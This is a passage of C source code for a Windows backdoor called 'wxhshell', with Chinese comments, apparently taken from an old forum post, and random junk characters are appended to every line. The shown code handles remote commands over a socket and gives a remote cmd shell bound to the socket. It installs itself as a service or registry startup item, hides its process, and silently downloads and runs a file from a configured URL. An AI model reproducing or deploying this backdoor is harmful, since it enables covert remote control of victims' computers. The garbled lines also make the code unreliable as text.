  case '?': { Fw#wVs)@:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n u>6UjV  
    break; +zFEx%3^  
  } KC\W6|NtGj  
  // 安装 y3 S T"U  
  case 'i': { 3A b_Z  
    if(Install()) 7sJGB^vM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i\L7z)u  
    else oW/H8q<wY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $)O\i^T  
    break; YH[HJ#:7r  
    } ?7*J4.  
  // 卸载 &4F iYZ  
  case 'r': { hcD.-(-;)  
    if(Uninstall()) H!g9~a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =~ j S  
    else -F-,Gcos  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iHOvCrp+X  
    break; ]O68~+6  
    } qB=%8$J  
  // 显示 wxhshell 所在路径 FiNB$A  
  case 'p': { cp 7;~i3  
    char svExeFile[MAX_PATH]; M#]URS2h<O  
    strcpy(svExeFile,"\n\r"); U| 1&=8l  
      strcat(svExeFile,ExeFile); I* JSb9r  
        send(wsh,svExeFile,strlen(svExeFile),0); Ru`7Xd.  
    break; ^F$iD (f  
    } E@ !~q  
  // 重启 T`^LWc"  
  case 'b': { LfS]m>>e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kv/mqKVr  
    if(Boot(REBOOT)) d[Rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bMF`KRP2  
    else { !p"Ijz5  
    closesocket(wsh); TYr"yZ([  
    ExitThread(0); Ja6PX P]'  
    } ig,v6lqhM  
    break; 5-X(K 'Q  
    } V4 Wn  
  // 关机 \rf2O s  
  case 'd': { R a?0jcSQ$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GGwHz]1L  
    if(Boot(SHUTDOWN)) +q4AK<y-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VYN1^Tp  
    else { ns1@=f cO  
    closesocket(wsh); *6%r2l'kZ  
    ExitThread(0); ~w9ZSSb4  
    } E#cZM>  
    break; [ 6t!}q  
    } @#5PPXp  
  // 获取shell _-g?6q  
  case 's': { cH%#qE3  
    CmdShell(wsh); s\dF7/b  
    closesocket(wsh); <oWoJP`G  
    ExitThread(0); O(QJiS  
    break; K2R[u#Q  
  } R+O[,UM^I~  
  // 退出 i.`RQZ$,/  
  case 'x': { RI%ZT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;MR(Eaep  
    CloseIt(wsh); ;ywQk| r  
    break; e:  
    } 0vRug|}k#%  
  // 离开 7Q9zEd" d  
  case 'q': { LMvsYc~]q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M(2c{TT  
    closesocket(wsh); IuQY~!  
    WSACleanup(); Vi~F Q  
    exit(1); L>mv\D;o.  
    break; ,4wZ/r> d  
        } w<]Wg^dyQ  
  } S?5z  
  } &<P!o_+eb  
HEjrat;5  
  // 提示信息 v5 yOh5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y^oSVj  
} H[{ch t h  
  } J !:ss  
3*CF!Y%  
  return; l@q.4hT  
} \s`'3y  
KNC!T@O|{#  
// shell模块句柄 SY`NZJK  
int CmdShell(SOCKET sock) $ n`<,;^l  
{ %&c[g O!Za  
STARTUPINFO si;  P%xk   
ZeroMemory(&si,sizeof(si)); r9%4q4D?>9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wHWd~K_q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?:s`}b  
PROCESS_INFORMATION ProcessInfo; `8xmM A_l  
char cmdline[]="cmd"; ^.mQ~F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /jC0[%~jV  
  return 0; Z=z'j8z3  
} #PVgx9T=_  
R/~j <.s3P  
// 自身启动模式 nFzhj%Pt;  
int StartFromService(void) (jPN+yQ  
{ 3VCyq7 B^  
typedef struct U.crRrN  
{ J *.Nf)i  
  DWORD ExitStatus; PD|I3qv~  
  DWORD PebBaseAddress; i'L7t!f}o  
  DWORD AffinityMask; 8niQG']  
  DWORD BasePriority; fH`P8?](x  
  ULONG UniqueProcessId; bo$xonV@y  
  ULONG InheritedFromUniqueProcessId; tJUMLn?  
}   PROCESS_BASIC_INFORMATION; M98dQ%4I  
RB\>$D  
PROCNTQSIP NtQueryInformationProcess; !z{bqPlFGG  
xaoaZ3Ko  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wQ2'%T|t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HOsq _)K  
Z2PLm0%:  
  HANDLE             hProcess; *Mg=IEu-6[  
  PROCESS_BASIC_INFORMATION pbi; Zr;.`(>  
}Da8S|)H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +C/K@:p  
  if(NULL == hInst ) return 0; |42E'zH&  
[LL"86D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =k2+VI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )UI T'*ow  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fhLdM  
VMad ]bEf  
  if (!NtQueryInformationProcess) return 0; _Y|k \|'  
yHCQY4/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @gE +T37x2  
  if(!hProcess) return 0; uTbI\iq  
{Ylj]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O(~`fN?n  
Ny*M{}E  
  CloseHandle(hProcess); k:m~'r8z  
>f'n l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zST# X}  
if(hProcess==NULL) return 0; @s/;y VVq  
'RQZU*8  
HMODULE hMod; ^5 F-7R8Q  
char procName[255]; }UXj|SY  
unsigned long cbNeeded; z\_q`43U7  
Q7"KgqpQ3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /B|#GJ\\3  
-R~;E[ {%  
  CloseHandle(hProcess); @`wBe#+\  
~< Gs<c}z  
if(strstr(procName,"services")) return 1; // 以服务启动 s:*gjoL  
z+PSx'#}  
  return 0; // 注册表启动 [53@'@26  
} K&BlWXT  
kQ.atr`?e  
// 主模块 iBN,YPo~  
int StartWxhshell(LPSTR lpCmdLine) b1nw,(hLY  
{ duXv [1  
  SOCKET wsl; .N_0rPO,Kw  
BOOL val=TRUE; $d,30hK  
  int port=0; fR6ot#b  
  struct sockaddr_in door; bt%k;Z]  
9@QP?=\Y  
  if(wscfg.ws_autoins) Install(); |WXu;uf$.u  
75!IzJG  
port=atoi(lpCmdLine); =c-j4xna>  
T-fW[][&$  
if(port<=0) port=wscfg.ws_port; zclt2?  
fhMtnh:  
  WSADATA data; w gATfygr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (mt,:hX  
yHr/i) c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =zqOkC h$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oF]0o`U&a  
  door.sin_family = AF_INET; #4%,09+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "4`h -Y  
  door.sin_port = htons(port); G A2S  
^q FFF3<8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,_u8y&<|I  
closesocket(wsl); T>vHZZiO  
return 1; O:xRUjpL  
} ZN%$k-2  
|5e/.T$  
  if(listen(wsl,2) == INVALID_SOCKET) { 1k{ E7eL  
closesocket(wsl); bi#o1jR  
return 1; )3h=V^rm  
} Uk|Xs~@#E  
  Wxhshell(wsl); {r[ *}Bv  
  WSACleanup();  PovPO  
`hM ]5;0  
return 0; ;op+~@*!  
^L]+e  
} r^WO$u|@i  
[rqq*_eB  
// 以NT服务方式启动 *|_u~v:)|5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e/#4)@]  
{ /~J#c=  
DWORD   status = 0; v SHb\V#  
  DWORD   specificError = 0xfffffff; Mgcq'{[~Y=  
Z0b1E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @hl5^d"l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gOgG23 x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7lR(6ka&/  
  serviceStatus.dwWin32ExitCode     = 0; [gIStKe  
  serviceStatus.dwServiceSpecificExitCode = 0; ;X|;/@@  
  serviceStatus.dwCheckPoint       = 0; cO)GiWE  
  serviceStatus.dwWaitHint       = 0; t(p  
8N ci1o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .? !{.D  
  if (hServiceStatusHandle==0) return; Fypqf|  
t~sW]<qjp  
status = GetLastError(); 1PLKcU  
  if (status!=NO_ERROR) }! zjj\g^  
{ kJJQcjAP:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GlQ=M ) E  
    serviceStatus.dwCheckPoint       = 0; hl6al:Y  
    serviceStatus.dwWaitHint       = 0; KGP2,U6  
    serviceStatus.dwWin32ExitCode     = status; 7dV^35 KP  
    serviceStatus.dwServiceSpecificExitCode = specificError; >[ lj8n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Vv ;NA/  
    return; `1M_rG1/+  
  } iO<O2A.F  
!l.Rv_o<O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m_\CK5T_  
  serviceStatus.dwCheckPoint       = 0; 4.H!rkMM  
  serviceStatus.dwWaitHint       = 0; MW'z*r|,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c{||l+B  
} Wd~}O<"  
E%H,Hk^  
// 处理NT服务事件,比如:启动、停止 Z U f<s?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F^A1'J  
{ Haq23K  
switch(fdwControl) 6\~m{@  
{ 6D0uLh  
case SERVICE_CONTROL_STOP: _@?]!J[  
  serviceStatus.dwWin32ExitCode = 0; &(Xp_3PO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [}P|OCW  
  serviceStatus.dwCheckPoint   = 0; {a% T <WW  
  serviceStatus.dwWaitHint     = 0; ^9cqT2:t  
  { aL#b8dCy'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jWP(7}U  
  } Z(xn-  
  return; r8Gq\ ^  
case SERVICE_CONTROL_PAUSE: aASnk2DFd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bs_I{bCu?  
  break; <;v{`@\j{  
case SERVICE_CONTROL_CONTINUE: }"q1B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H(?z?2b p  
  break; ukG1<j7.  
case SERVICE_CONTROL_INTERROGATE: ;=B&t@  
  break; /SN.M6~  
}; ^0X86  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @jwUH8g1  
} OP:;?Fs9`  
"#[Y[t\Ia  
// 标准应用程序主函数 li/O&@g`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9dKrE_zK:  
{ tk1qgjE(?  
i3(bg,  
// 获取操作系统版本 ?P"ht  
OsIsNt=GetOsVer(); "b -KVZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CHBCi) '6h  
J5|Dduv  
  // 从命令行安装 #c?\(qjWA  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~^Vt)/}Q  
<7^_M*F9  
  // 下载执行文件 ,YH^jc  
if(wscfg.ws_downexe) { +yCIA\i#t6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }\l5|Ft[!  
  WinExec(wscfg.ws_filenam,SW_HIDE); LX*T<|c`'  
} [!bTko>rSB  
[@>Kd`!'  
if(!OsIsNt) { }>)"!p;t_  
// 如果时win9x,隐藏进程并且设置为注册表启动 u!{P{C  
HideProc(); CXA)Zl5#  
StartWxhshell(lpCmdLine); c#CX~  
} O a-Z eCq  
else ~>#=$#V   
  if(StartFromService()) UXIq>[2Z1  
  // 以服务方式启动 ! daXF&q  
  StartServiceCtrlDispatcher(DispatchTable); 9^Wj<  
else LvW9kL+WiQ  
  // 普通方式启动 `n5|4yaG~  
  StartWxhshell(lpCmdLine); ,)oUdwR k  
8 kd  
return 0; 9>%f99n  
}
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只看该作者 1 发表于: 2006-10-10
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